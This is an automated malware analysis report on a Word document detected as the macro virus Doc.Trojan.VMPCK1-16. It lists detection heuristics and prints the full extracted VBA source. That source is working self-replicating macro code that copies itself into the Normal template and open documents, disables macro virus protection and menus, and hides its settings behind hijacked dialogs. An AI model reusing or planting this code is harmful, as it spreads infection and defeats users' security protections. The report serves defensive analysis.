MALICIOUS
196
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close functions, which are commonly used to execute malicious code upon document opening. The script attempts to disable security features like VirusProtection and BlueScreen, and includes a hardcoded email address which may be used for command and control or further distribution. The ClamAV detection 'Doc.Trojan.VMPCK1-16' further supports its malicious nature.
Heuristics 6
-
ClamAV: Doc.Trojan.VMPCK1-16 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.VMPCK1-16
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6257 bytes |
SHA-256: e367dd7efe19327e1b9611277f8e62b94e3411adb154aa5e1c008ddd7447ebb6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "colorinm"
Sub AutoExec()
Options.VirusProtection = False
End Sub
Sub AutoOpen()
Dim c As Byte
On Error Resume Next
Application.VBE.Mainwindow.Close
Options.VirusProtection = 0
Application.EnableCancelKey = 0
Application.ScreenUpdating = 0
Application.DisplayAlerts = 0
inf
CommandBars("Control Toolbox").Enabled = 0
CommandBars("Tools").Controls(14).Enabled = 0
CommandBars("Tools").Controls(15).Enabled = 0
CommandBars("View").Controls(6).Enabled = 0
CommandBars("Edit").Controls(9).Enabled = 0
CommandBars("Tools").Controls(5).OnAction = "oculta1"
CommandBars("Tools").Controls(16).OnAction = "oculta2"
ActiveDocument.Variables.Add Name:="activo"
If Minute((Now)) >= 56 Or Minute((Now)) <= 3 Then
ActiveDocument.Variables("activo") = "si"
Options.BlueScreen = True
agrega
Else: ActiveDocument.Variables("activo") = "no"
End If
End Sub
Sub inf()
Application.EnableCancelKey = 0
On Error Resume Next
If Nch = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="colorinm", Object:=wdOrganizerObjectProjectItems
ActiveDocument.BuiltInDocumentProperties(wdPropertyComments) = "Comentarios, sugerencias, insultos?:" + vbCr + "a a b b c d e @ y a h o o . c o m"
End If
If Dch = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="colorinm", Object:=wdOrganizerObjectProjectItems
End If
End Sub
Function Nch()
Dim i As Byte
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "colorinm" Then Nch = True
Next
End Function
Function Dch()
Dim j As Byte
For j = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(j).Name = "colorinm" Then Dch = True
Next
End Function
Sub oculta1()
If ActiveDocument.Variables("activo").Value = "si" Then
borrador
Word.Dialogs.Item(wdDialogToolsAutoManager).Show
agrega
Else: Word.Dialogs.Item(wdDialogToolsAutoManager).Show
End If
End Sub
Sub oculta2()
aparentes
Word.Dialogs.Item(wdDialogToolsOptions).Show
reales
End Sub
Sub agrega()
Attribute agrega.VB_Description = "Macro grabada el 24/08/98 por MINIPHONE"
Attribute agrega.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.final"
Dim letra, color
Selection.ParagraphFormat.Alignment = wdAlignParagraphLeft
For vez = 1 To 18
Select Case vez
Case 1
letra = "a"
color = 7
Case 2
letra = "o"
color = 3
Case 3
letra = "y"
color = 6
Case 4
letra = "de"
color = 7
Case 5
letra = "en"
color = 4
Case 6
letra = "que"
color = 3
Case 7
letra = "la"
color = 6
Case 8
letra = "los"
color = 5
Case 9
letra = "las"
color = 4
Case 10
letra = "le"
color = 5
Case 11
letra = "se"
color = 7
Case 12
letra = "ya"
color = 5
Case 13
letra = "no"
color = 7
Case 14
letra = "lo"
color = 4
Case 15
letra = "un"
color = 3
Case 16
letra = "con"
color = 6
Case 17
letra = "si"
color = 3
Case 18
letra = "es"
color = 3
End Select
With Selection
.Font.ColorIndex = color
.TypeText Text:=letra
.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
End With
autocorrect.Entries.AddRichText Name:=letra, Range:=Selection.Range
Next vez
autocorrect.ReplaceText = True
With Selection
.Delete
.Font.ColorIndex = wdAuto
.Font.Name = "Times New Roman"
.Font.Size = 112
End With
End Sub
Sub borrador()
Attribute borrador.VB_Description = "Macro grabada el 24/08/98 por MINIPHONE"
Attribute borrador.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Macro1asasa"
On Error Resume Next
autocorrect.ReplaceText = 0
With autocorrect.Entries
.Item("a").Delete
.Item("o").Delete
.Item("y").Delete
.Item("de").Delete
.Item("en").Delete
.Item("que").Delete
.Item("la").Delete
.Item("los").Delete
.Item("las").Delete
.Item("le").Delete
.Item("se").Delete
.Item("ya").Delete
.Item("no").Delete
.Item("lo").Delete
.Item("un").Delete
.Item("con").Delete
.Item("si").Delete
.Item("es").Delete
End With
End Sub
Sub aparentes()
With Options
.VirusProtection = 1
.SaveNormalPrompt = 1
End With
End Sub
Sub reales()
On Error Resume Next
If ActiveDocument.Variables("activo").Value = "si" Then Options.BlueScreen = True
With Options
.AllowFastSave = 1
.VirusProtection = 0
.SavePropertiesPrompt = 0
.SaveNormalPrompt = 0
End With
End Sub
Sub chau()
If ActiveDocument.Variables("activo").Value = "si" Then
borrador
Options.BlueScreen = 0
End If
ActiveDocument.Variables("activo").Delete
Options.VirusProtection = 0
End Sub
Sub Toolsmacro()
End Sub
Sub ViewVBCode()
End Sub
Sub AutoClose()
inf
chau
End Sub
Sub FileSave()
inf
ActiveDocument.Save
End Sub
Sub AutoExit()
inf
chau
End Sub
Sub FileSaveas()
inf
Dialogs(wdDialogFileSaveAs).Show
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.